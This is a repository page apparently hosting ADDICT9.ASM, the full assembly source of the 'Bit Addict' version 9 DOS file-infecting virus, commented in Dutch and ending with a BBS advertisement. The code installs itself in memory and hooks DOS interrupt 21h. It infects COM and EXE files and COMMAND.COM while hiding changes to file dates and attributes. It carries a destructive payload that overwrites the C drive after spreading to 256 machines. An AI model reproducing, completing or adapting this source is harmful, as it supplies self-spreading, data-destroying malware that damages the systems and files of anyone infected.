-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathADDICT9.ASM
743 lines (690 loc) · 14.3 KB
/
ADDICT9.ASM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
; Bit Addict Versie 9
;-----------------------------------------------------------------------------
;----- -----
;----- Macros en andere hulpmiddellen -----
;----- -----
;-----------------------------------------------------------------------------
; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter
; wordt dan 128 bytes en er dus een foutmelding komt
dfn macro Num1,Num2
db Num1
dw offset Num2
endm
jmpc macro Dest ; vervanging voor jc
local @@00
jnc @@00
jmp Dest
@@00:
endm
jmpnc macro Dest ; vervanging voor jnc
local @@00
jc @@00
jmp Dest
@@00:
endm
jmpe macro Dest ; vervanging voor je
local @@00
jnz @@00
jmp Dest
@@00:
endm
jmpne macro Dest ; vervanging voor jne
local @@00
jz @@00
jmp Dest
@@00:
endm
eseg segment
mov ax,4c00h ; exit
int 21h
eseg ends
;-----------------------------------------------------------------------------
;----- -----
;----- Begin van het Bit Addict virus -----
;----- -----
;-----------------------------------------------------------------------------
cseg segment
assume cs:cseg,ds:cseg,es:cseg
org 0
BeginCode equ $ ; begin van het virus
CodeSize equ CodeEnd-BeginCode ; de grootte van het
CodeSizePara equ (CodeEnd-BeginCode+0fh) / 10h ; virus achter een file
VirusSize equ VirusEnd-BeginCode ; de grootte van het
VirusSizePara equ (VirusEnd-BeginCode+0fh) / 10h ; virus in het geheugen
HeaderLength equ 18h ; grootte van een
SavedCode equ this byte ; gegevens over het
OldSignature dw 5a4dh ; programma voor het
OldCSIP equ this dword ; virus
OldIP dw 0
OldCS dw 0
OldSP dw 200h
OldSS dw 0
OldPartPage dw 0
OldPageCount dw 0
Begin: push ax ; Programma om het virus
push ds ; resident te laten blijven
push es ; en om de comspec te
call Init ; infecteren
jnc @@12
call BiosCheck ; Als bit addict op een andere
push cs ; computer draait wordt er een
pop es ; teller verhoogt.
xor al,al
mov cx,VirusSize-CodeSize ; zet alle variabelen op nul
mov di,CodeSize
cld
rep stosb ; debug interrupt 21h om het
call DebugOn ; orginele interrupt te vinden
pop es
push es
mov ah,4ah ; en reserveer geheugen voor
mov bx,-1 ; bit addict.
call DOS
push bx
call DebugOff
pop bx
mov ax,cs
pop dx
push dx
sub ax,dx
add ax,cs:MinMem
add ax,CodeSizePara+VirusSizePara+1
cmp bx,ax
jb @@12
mov ah,4ah
sub bx,VirusSizePara+1
int 21h
jb @@12
mov ah,48h
mov bx,VirusSizePara
int 21h
jb @@12
mov es,ax
dec ax
mov ds,ax
mov word ptr ds:[1],8
call CopyBitAddict ; Copieer bit addict naar
pop es ; het gereserveerde geheugen
push es ; Infecteer bestand in de
call InfectComspec ; comspec
@@12: pop es
pop ds ; ga nu verder met het
pop ax ; programma voor Bit Addict
cli
mov ss,cs:OldSS
mov sp,cs:OldSP
sti
jmp cs:OldCSIP
Comspec db 'COMSPEC=' ; comspec environment variabele
; om de command.com te vinden
ID dw 0DEADh ; hier wordt het virus herkend
; als het in het geheugen staat
Count dw 0 ; In deze variabele staat op
; hoeveel verschillende
; computers het virus is
; geweest
Bios db 10h dup(0) ; Gegevens over de bios,
; door dit te vergelijken met
; de bios kan het virus weten
; of het virus op een andere
; computer draait
CopyBitAddict:
push cs ; copieer Bit Addict naar de
pop ds ; gereserveerde buffers
xor si,si
xor di,di
mov cx,VirusSize
cld
rep movsb
xor ax,ax ; leid interrupt 21h om naar
mov ds,ax ; Bit Addict
mov word ptr ds:[84h],offset NewInt21
mov word ptr ds:[86h],es
ret
InfectComspec:
mov es,es:[2ch] ; lees environment segment
xor di,di
push cs ; zoek naar de comspec
pop ds ; variabele
mov si,offset Comspec
@@30: push si
push di
mov cx,8
cld
repe cmpsb
pop di
pop si
je @@31
xor al,al
mov cx,-1
cld
repne scasb
cmp byte ptr es:[di],0 ; is dit de laatste variabele ?
jne @@30
jmp short @@33
@@31: push es ; infecteer de COMMAND.COM of
pop ds ; andere command interpreter,
cmp byte ptr ds:[di+9],':' ; maar doe dit alleen wanneer
jne @@32 ; de comspec naar de c of de
mov al,ds:[di+8] ; d-drive wijst.
and al,0dfh
cmp al,'C'
je @@32
cmp al,'D'
jne @@33
@@32: lea dx,[di+8]
push cs:OldIP ; bewaar alle variabelen die
push cs:OldCS ; we nog nodig hebben.
push cs:OldSP
push cs:OldSS
call Infect ; infecteren
pop cs:OldSS ; herstel alle variabelen die
pop cs:OldSP ; we nog nodig hebben
pop cs:OldCS
pop cs:OldIP
@@33: ret
DebugOn:push ax ; deze procedere is om de
push ds ; trap-flag te zetten, en
xor ax,ax ; interrupt 1 te initialiseren
mov ds,ax
cli
mov ax,ds:[4h]
mov word ptr cs:OldInt1[0],ax
mov ax,ds:[6h]
mov word ptr cs:OldInt1[2],ax
mov word ptr ds:[4],offset NewInt1
mov word ptr ds:[6],cs
mov ax,ds:[84h]
mov word ptr cs:OldInt21[0],ax
mov ax,ds:[86h]
mov word ptr cs:OldInt21[2],ax
mov word ptr cs:DosInt21[0],0
mov word ptr cs:DosInt21[2],0
pushf
pop ax
or ah,1
push ax
popf
sti
pop ds
pop ax
ret
DebugOff: ; deze procedure zet de
push ax ; trap-flag weer op nul en
push ds ; herstelt interrupt 1.
cli
pushf
pop ax
and ah,0feh
push ax
popf
xor ax,ax
mov ds,ax
mov ax,word ptr cs:OldInt1[0]
mov ds:[4],ax
mov ax,word ptr cs:OldInt1[2]
mov ds:[6],ax
sti
pop ds
pop ax
ret
Init: push cs
pop ds
cmp OldSignature,5a4dh
je @@50
mov si,offset SavedCode ; herstel begin van het
mov di,100h ; com-programma
mov cx,Dead-ComHeader+2
cld
rep movsb
mov OldSS,ss ; bewaar de waarden van
mov OldSP,sp ; ss,sp,cs en ip
sub OldSP,10h
mov OldCS,es
mov OldIP,100h
jmp short @@51
@@50: mov ax,es ; bereken de waarden van
add ax,10h ; ss,sp,cs en ip
add OldCS,ax
add OldSS,ax
@@51: mov ax,4b40h ; controleer of Bit Addict al
int 21h ; in het geheugen aanwezig is
jc @@52
mov ds,ax
mov ax,word ptr ds:ID ; vergelijk identificatie
cmp ax,word ptr cs:ID
je @@52
stc
@@52: ret
BiosCheck: ; deze procedure vergelijkt
mov ax,0ffffh ; de bios, met de gegevens
mov ds,ax ; over de bios in het virus,
push cs ; zijn deze niet gelijk, dan
pop es ; zal het virus op een andere
xor si,si ; computer draaien, en wordt
mov di,offset Bios ; er een teller verhoogt, komt
mov cx,10h ; deze teller boven de 255 dan
cld ; zal het bit-addict virus
repe cmpsb ; actief worden.
je @@54
mov ax,cs:Count
inc ax
cmp ax,100h
jb @@53
call BitAddict
@@53: mov cs:Count,ax
xor si,si
mov di,offset Bios
mov cx,10h
rep movsb
@@54: ret
BitAddict: ; in deze procedure wordt
xor dx,dx ; de c-drive overscreven met
@@55: push dx ; onzin, dit mag verandert
mov ax,3 ; worden, om het virus iets
xor bx,bx ; anders te laten doen, een
mov cx,40h ; muziekje spelen, of met het
int 26h ; toetsenbord spelen
pop ax ; bijvoorbeeld.
pop dx
add dx,40h
or dx,dx
jne @@55
ret
NewInt1:push bp ; deze procedure wordt
mov bp,sp ; gebruikt bij het debuggen
push ax
mov ax,word ptr cs:DosInt21[0]
or ax,word ptr cs:DosInt21[2]
jnz @@60
cmp word ptr ss:[bp+4],300h
jae @@61
mov ax,ss:[bp+2]
mov word ptr cs:DosInt21[0],ax
mov ax,ss:[bp+4]
mov word ptr cs:DosInt21[2],ax
@@60: and word ptr ss:[bp+6],0feffh
@@61: pop ax
pop bp
iret
DOS: push ax ; roept interrupt 21h aan.
mov ax,word ptr cs:DosInt21[0]
or ax,word ptr cs:DosInt21[2]
pop ax
jnz @@62
pushf
call cs:OldInt21
ret
@@62: pushf
call cs:DosInt21
ret
Functions: ; dit is een tabel met alle
dfn 3ch,Open ; dos-functies die door
dfn 3dh,Open ; bit-addict verandert worden
dfn 3eh,Close
dfn 3fh,Read
dfn 40h,Write
dfn 4bh,Exec
NewInt21: ; Het nieuwe interrupt 21h
pushf
push bx
push bp
mov bp,sp
mov bx,offset Functions
@@63: cmp ah,cs:[bx]
je @@68
add bx,3
cmp bx,offset NewInt21
jne @@63
pop bp
pop bx
EOI: popf
jmp cs:OldInt21
@@68: mov bx,cs:[bx+1]
xchg bx,ss:[bp+2]
pop bp
ret
InstallCheck: ; Zo kan bit addict weten
mov ax,cs ; dat er al een andere copy
popf ; aanwezig is
clc
retf 2
Exec: cmp al,40h
je InstallCheck
call CheckExtension ; functie 4bh, infecteer eerst
jc EOI ; met Bit Addict
popf
push dx
push ds
pushf
call cs:OldInt21
pop ds
pop dx
pushf
call Infect
popf
retf 2
Open: call CheckExtension ; fn 3ch en 3dh
jc EOI
call cs:OldInt21
jc @@92
pushf
push ax
push cx
push si
push di
push es
push cs
pop es
mov si,dx
mov di,offset File1
cmp word ptr es:[di],0
je @@90
mov di,offset File2
cmp word ptr es:[di],0
jne @@91
@@90: cld
stosw
mov cx,70
rep movsb
@@91: pop es
pop di
pop si
pop cx
pop ax
popf
@@92: retf 2
Close: cmp bx,cs:File1 ; fn 3eh
je @@93
cmp bx,cs:File2
jne EOI
call cs:OldInt21
push si
mov si,offset File2
jmp short @@94
@@93: call cs:OldInt21
push si
mov si,offset File1
@@94: jc @@95
pushf
push dx
push ds
push cs
pop ds
lea dx,[si+2]
call Infect
pop ds
pop dx
popf
@@95: mov word ptr cs:[si],0
pop si
retf 2
Read: jmp EOI ; fn 3fh
Write: jmp EOI ; fn 40h
CheckExtension: ; controleer of de extensie
push ax ; wel exe of com is
push cx
push si
push di
push es
push ds
pop es
mov di,dx ; zoek het einde van de
xor al,al ; file-naam
mov cx,70
cld
repne scasb
jne @@65
std
mov al,'.' ; zoek de laatste punt
neg cx
add cx,70
std
repne scasb
jne @@65
lea si,[di+2]
cld
lodsw ; eerste 2 letters
and ax,0dfdfh ; maak hoofdletters
cmp ax,5845h ; 'EX'
je @@64
cmp ax,4f43h ; 'CO'
jne @@65
lodsb ; 3e letter
and al,0dfh
cmp al,4dh ; 'M'
je @@66
jmp short @@65
@@64: lodsb ; 3e letter
and al,0dfh
cmp al,45h ; 'E'
je @@66
@@65: stc
jmp short @@67
@@66: clc
@@67: pop es
pop di
pop si
pop cx
pop ax
ret
ComHeader: ; dit stukje wordt voor een
mov ax,cs ; COM-file geplaatst, en is om
add ax,0100h ; het virus te starten.
OldSize equ this word-2
push ax
mov ax,offset Begin
push ax
retf
Dead equ $
dw 0DEADh ; signature, om te controleren
; of een file al eens eerder
; besmet is.
Infect: push ax ; Infecteer een file
push bx
push cx
push si
push di
push bp
push es
mov ax,4300h ; lees attributen en bewaar
call DOS ; ze
jmpc @@83
push cx
push dx
push ds
test cx,1
jz @@71
mov ax,4301h ; set Read-Only attribuut
and cx,0fffeh ; op nul
call DOS
jmpc @@82
@@71: mov ax,3d02h ; open de file
call DOS
jmpc @@82
mov bx,ax
mov ax,5700h ; lees de datum en tijd en
call DOS ; bewaar ze
jmpc @@81
push cx
push dx
push cs ; ds=es=cs
pop ds
push cs
pop es
mov ah,3fh ; lees de header van de file
mov cx,HeaderLength
mov dx,offset Header
call DOS
jmpc @@80
cmp ax,HeaderLength
jne @@75
cmp Signature,5a4dh ; Controleer of ID aanwezig is
jne @@72
cmp ExeID,0DEADh
jmp @@73
@@72: cmp ComID,0DEADh
@@73: jmpe @@80 ; als ID aanwezig is, stop dan
@@74: cmp Signature,5a4dh
je @@77
@@75: mov ax,4202h ; infecteer com-files
xor cx,cx ; ga naar het einde van de file
xor dx,dx
call DOS
mov cx,10h ; aanpassen van de com-header
div cx ; aan deze com-file
or dx,dx
je @@76
push ax
mov ah,40h
mov cx,10h
sub cx,dx
xor dx,dx
call DOS
pop ax
jmpc @@80
inc ax
@@76: add ax,10h
mov OldSize,ax
mov si,offset Header ; bewaar het eerste deel van
mov di,offset SavedCode ; het programma
mov cx,Dead-ComHeader+2
cld
rep movsb
mov ah,40h ; schrijf het virus achter het
mov cx,CodeSize ; programma
xor dx,dx
call DOS
jmpc @@80
mov ax,4200h ; ga naar het begin van de file
xor cx,cx
xor dx,dx
call DOS
jmpc @@80
mov ah,40h ; overschrijf het begin van het
mov cx,Dead-ComHeader+2 ; programma met de com-header
mov dx,offset ComHeader
call DOS
jmp @@80
@@77: mov di,offset SavedCode ; infecteer exe-files
mov ax,5a4dh ; bewaar de oude waarden van
stosw ; cs:ip en ss:sp
mov ax,ExeIP
stosw
mov ax,ExeCS
stosw
mov ax,ExeSP
stosw
mov ax,ExeSS
stosw
mov ax,PartPage
stosw
mov ax,PageCount
stosw
mov ExeID,0DEADh ; Zet ID in exe-header
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
mov cx,10h
div cx
or dx,dx
je @@78
push ax
push dx
mov ah,40h
mov cx,10h
sub cx,dx
xor dx,dx
call DOS
pop dx
pop ax
jc @@80
inc ax
@@78: sub ax,HeaderSize
mov ExeCS,ax
mov ExeIP,offset Begin
add ax,VirusSizePara
mov ExeSS,ax
mov ExeSP,200h
mov ax,MinMem
cmp ax,20h+VirusSizePara-CodeSizePara
jae @@79
mov ax,20h
@@79: mov MinMem,ax
mov ah,40h ; schrijf het virus achter
mov cx,CodeSize ; de exe-file
xor dx,dx
call DOS
jc @@80
mov ax,4202h ; Pas de file-lengte in de
xor cx,cx ; header aan, als de file veel
xor dx,dx ; overlays bevat, dan zal de
call DOS ; exe-file niet meer werken,
mov cx,200h ; maar de file kan wel hersteld
div cx ; worden.
cmp dx,1
cmc
adc ax,0
mov PageCount,ax
mov PartPage,dx
mov ax,4200h
xor cx,cx
xor dx,dx ; ga naar het begin van de file
call DOS
jc @@80
mov ah,40h ; schrijf de nieuwe exe-header
mov cx,HeaderLength ; over de oude heen.
mov dx,offset Header
call DOS
@@80: pop dx ; herstel de datum van de file
pop cx
mov ax,5701h
call DOS
@@81: mov ah,3eh ; sluit de file
call DOS
@@82: pop ds ; herstel de attributen van de
pop dx ; file
pop cx
test cx,1
jz @@83
mov ax,4301h
call DOS
@@83: pop es ; herstel de waarden van de
pop bp ; registers en keer terug
pop di ; naar het oude interrupt 21
pop si
pop cx
pop bx
pop ax
ret
CodeEnd equ $
Header dw HeaderLength/2 dup(0)
ComCS equ Header[OldSize-Comheader] ; Com file
ComID equ Header[Dead-ComHeader]
Signature equ Header[0h] ; Exe file
PartPage equ Header[2h]
PageCount equ Header[4h]
HeaderSize equ Header[8h]
MinMem equ Header[0ah]
MaxMem equ Header[0ch]
ExeSS equ Header[0eh]
ExeSP equ Header[10h]
ExeID equ Header[12h]
ExeIP equ Header[14h]
ExeCS equ Header[16h]
DosInt21 dd 0
OldInt21 dd 0
OldInt1 dd 0
File1 dw 36 dup(0)
File2 dw 36 dup(0)
VirusEnd equ $
cseg ends
sseg segment stack
db 200h dup(1)
sseg ends
end Begin
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ